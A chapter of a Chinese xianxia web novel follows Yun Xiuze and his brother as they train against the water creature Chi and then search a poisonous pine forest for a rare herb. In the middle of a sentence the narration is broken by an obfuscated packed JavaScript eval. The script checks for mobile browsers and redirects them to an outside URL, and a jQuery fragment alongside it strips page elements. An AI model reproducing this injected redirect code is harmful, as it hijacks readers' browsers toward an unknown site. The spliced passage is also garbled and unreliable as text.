通常来说,只有没有家族,不识父母的人才会如此,可央玉既然能成为昆天谷的司命,他的来处、父母、亲人必定都是很清楚的,他却只叫自己央玉。 明青的眼睫微颤,半晌才慢慢说道。 “司命系天地黎民,必须独立于万物之外,抛弃姓氏,斩断亲缘是不可避免的,成为司命前,师傅姓......秦。” 云修云睁大了眼:“那岂不是秦谷主的......” 明青点了点头,云修泽抬着头,微微叹了口气。 作为司命,斩亲缘、抛姓氏、祭双眼、困方圆。 一个天之骄子的一生,用来赌世间可能会发生的苦难,而世人甚至不能知晓他的存在。 “先生最像是红尘中的逍遥客,却不曾想,竟会甘愿做这司命。”云修泽微微笑起来,看着明青,说的虽然是肯定的话,但语气又好像微微带了些疑问。 杯中清澈的酒面勾勒不出明青眼中包含的复杂心绪,她仍然记得自己第一次意识到这件事时的心情,那是一种莫大的悲哀。 “我知道你能看出来,师傅最爱自由,他也不是什么系心天下的圣人,只是被人所迫,没能逃过罢了。” 云修泽并不意外,云修云的表情就明显多了,一个并不想成为圣人的圣人,世上没有人有资格评判他的对错。 “那若是需要成为司命的人不愿成为司命,其他人可以顶替吗?” 明青摇头:“不可以,如果没人做这个司命,那司命的位置就空下来了,灾难发生与否,与司命是否存在并无干系。” 她想了想,接着说道。 “在乎和需要司命的,从来都是普通的百姓,和上天无关。” 气氛有些压抑,云修云眨眨眼睛,左右看了看,挑起了一个不那么沉重的话题。 “哥,你什么时候入松林?” “哦对,我原就想说来着。” 云修泽骤然从自己的思绪中被拉了出来,才想起原本要和他们说的事。 “其实进松林并不难,但是在水中,我的实力不能很好的发挥,先生有意锻炼,我也就多打了一段时日,如今也算得上是驾轻就熟了,明日你跟我一同前去试试吧。” 云修云睁大了双眼,指着自己问道。 “我?司命大人不是说让你自己一个人进去吗?” 云修泽给他脑袋来了一下,恨铁不成钢道。 “我又没说让你跟我进去,总不能我在水中都快游成条鱼了,你还是只旱鸭子吧。” “嗷!” 云修云呲牙咧嘴的捂着自己被打的地方,嘟嘟囔囔的说。 “我从小到大下水的次数可比你多多了,哪里算得上是旱鸭子?” 家里人不太管束他,他从小就漫山遍野的疯,下水摸鱼十分在行,那鱼通常都会被他烤了来吃。 云修泽:“下水玩跟下水打架能是一回事儿吗?” 云修云知道云修泽是为了他好,他也不是什么只知招猫逗狗的纨绔子弟,有变强的机会自然是好的,刚才也只不过是习惯性的反抗一下罢了,云修泽说了,他就乖乖点头,哦了一声。 夜渐渐的深了,云修泽看明青的神色有了些倦意,便说道:“都回去吧。” 几人点头,行愿走到美人榻旁,做势就要将唐思月抱起,云修云却跃跃欲试的凑了上来。 “诶——行大哥,行大哥,我来抱行不行?” 行愿迟疑了一下,低声说道。 “你可以试试,她有些敏感,可能会醒。” 云修云点头,动作小心的将她抱起,唐思月软软的靠在他身上,云修云一下就将身体绷直了,只觉得耳朵发烫,看也不敢看她,险些呼吸都要停滞了。 “嗯......” 果不其然,唐思月微微蹙眉,好像就要醒来。 云修云微微一惊,害怕将她弄醒,连忙将她小心的递给了行愿,行愿早就预料到会这样,一直在旁边准备着,很快就将她接了过来。 唐思月想必很熟悉行愿的气息,几个呼吸间,便又在他怀中安稳了下来。 行愿冲云修云点了点头,稳步抱着她离去,看着他离开的背影,云修云心中第一次浮现了些担忧。 尽管行愿一直和唐思月以主仆相称,但他跟在她身边日久,唐思月失去了所有亲人,身边也只剩下他了,两人之间是存在着超越主仆情意的亲情的,唐思月潜意识里的信任和依赖做不了假。 但若是不仅如此呢?他能争得过吗? 一旁的云修泽和明青将他的心思看的一清二楚,可两人对视一眼,谁也没有上前说些什么,情之一字,缠绕成结,旁人皆是心余力绌,唯有局中人可解。 * 第二日,云修泽就按昨夜说的,将云修云带下了水。 不知道是不是云修泽的错觉,水中的篪看到多出来的云修云,似乎愣了一下,随即就张着嘴快速冲了上来。 云修云的水性的确比云修泽要好,云修泽也没有一直护着他,只是间歇性的为他吸引一些篪的注意力,剩下的就交给他自己应付。 篪今日的进攻显得尤为凶猛,云修泽无意间对上它的眼睛,突然恶寒的抖了抖,只觉得自己是和它打的有些失心疯了,竟然从中看出了十分显眼的怨怼。 云修云的灵力不如云修泽,就连云修泽都无法轻易给篪造成伤口,就更别提他了。 不过他很有自知之明,也清楚自己的优势就是灵活,目的不是为了伤它,而是为了保护自己,于是不停的绕着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958672|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它翻上翻下,让它打不到自己,偶尔还会试探性的去追它的尾巴。 还是那句话,篪要烦死了! “咹!!!!!!” 它突然大吼一声,剧烈的扭动着自己的身体,直接把云修云甩了出去,尾巴横扫而来,云修泽见势不对,拽着云修云一起往后退去,可还是没来得及,被它的尾巴尖扫了一下。 云修泽倒没什么事儿,但云修云还是不可避免的受了些伤,他推开云修泽的手,示意他要自己对付,让云修泽不要插手。 云修泽无法,只能退到一个可以及时救到他的位置看着。 两人在水中和篪纠缠,直到日暮西山,才从水中爬上了岸,明青依旧在那里等他们,她张了张嘴,本想说话,却被一个声音打断了。 “咹!!!!!!” 原来是篪,它并没有像往常一样,等云修泽一离开,就安静的回到水里,反而浮上了水面,愤怒的冲三人叫了一声,回身一个摆尾,溅起了巨大的水花。 明青在它出声的那一刻就已经退了老远,还在岸边的兄弟二人猝不及防的被浇了一身,刚刚弄干了衣服就又变成了落汤鸡。 云修泽一脸茫然的抹了把脸,看着篪拍完就走,云修云就更懵了,他迟疑的问云修泽说。 “哥......我感觉它是不是不太喜欢我啊?” 云修泽摸了摸下巴,奇怪道:“不能吧?我感觉它脾气还挺好的,今天心情不好?” 明青一身干爽的回来,似笑非笑的说。 “是呢,可能今天心情不好吧。” 兄弟二人不明所以,但还是对她的偷跑行为表示了谴责。 三人回了周天山,见他们又带着伤回来,唐思月只能无奈的给他们治伤,她一边给云修云胳膊上的伤口包扎一边说道。 “我从未见你们和父母联系过,你们成日这样,尊父尊母倒也放心,竟不怕你们出什么意外。” 云修泽笑了笑。 “家里都是供着我们的命灯的,里面有我们出生时取出的心头精血,是生是死,他们还是能知道的,明青也是因为她哥哥的灯没有灭,所以才出来找他的,你们家也应该有啊,怎么将这事忘了?” 唐思月一愣,手下的动作也慢了下来,低头笑道。 “是我糊涂了,竟将这事忘了。” 她说着,手下不自觉一重,将云修云疼的嗷嗷叫起来。 之后的日子里,云修泽也不着急,带着云修云一遍遍的入水,直到将他练的也差不多了后,才独自进了对面的松林。 这里不愧是司命亲口承认的灵气浓郁,云修泽刚刚踏入森林,就感受到灵气扑面而来,他没有主动修炼,这些灵气就好像自主的通过他的皮肤不断地渗入到他的身体中。 云修泽深吸一口气,只觉得通体舒泰,忍不住就想找个地方坐下修炼,难得的风水宝地啊。 但云修泽还是忍住了修炼的心思,一心一意准备先去寻凤引花。 他往嘴里送了颗避毒丹,小心的四处探查,突然脚下就传来了‘吱’的一声。 ......不是吧......不能这么倒霉吧...... 云修泽抽抽嘴角,唐思月特意给他指过小册子上一种叫鼠缘的草,叶片圆润,呈翠绿色,因为本体很小所以很容易被人忽略,若是不注意碰到它,它就会发出如同老鼠一样的吱吱声。 为什么要特意指它,因为它虽然不是毒,但却相当难缠,只要碰到它,它就会化作细细的藤蔓寄生到人身上,尖刺刺到人的肉里吸血,拔是拔的出来,可它会在人身上留下看不到的种子,从而反复寄生。 想要彻底拔除它,就只能在它下一波种子生长成藤蔓的那一个瞬间抓住它,然后用灵力将它逼出体外,一次往往是不能除干净的,总要多疼上几次。 云修泽僵硬的去看自己的脚下,暗暗祈祷是自己的幻觉,可天不遂人愿,在他抬起右脚的那一个瞬间,就有藤蔓拔地而起,迅速缠上了他的小腿。 云修泽......云修泽欲哭无泪,只能蹲下身,认命的开始往外拔,一边拔一边疼,还要一边注意不破坏它,谁让这也是唐思月指名说过,要是遇到就要给她带回去的草呢,悲催。 这点儿伤其实不影响他行动,但这里跟别的地方不同,到处都是千奇百怪的毒,让人中毒的方式也是防不胜防,他可不敢大喇喇的拖着还在流血的伤口到处乱走。 云修泽拿出伤药撒在伤口上,盘膝开始疗伤,灵力在经脉中快速流动,几个周天过后,云修泽就深深吐息,看向小腿上的伤,发现已经不流血了,于是就简单包扎了一下,起身继续向前。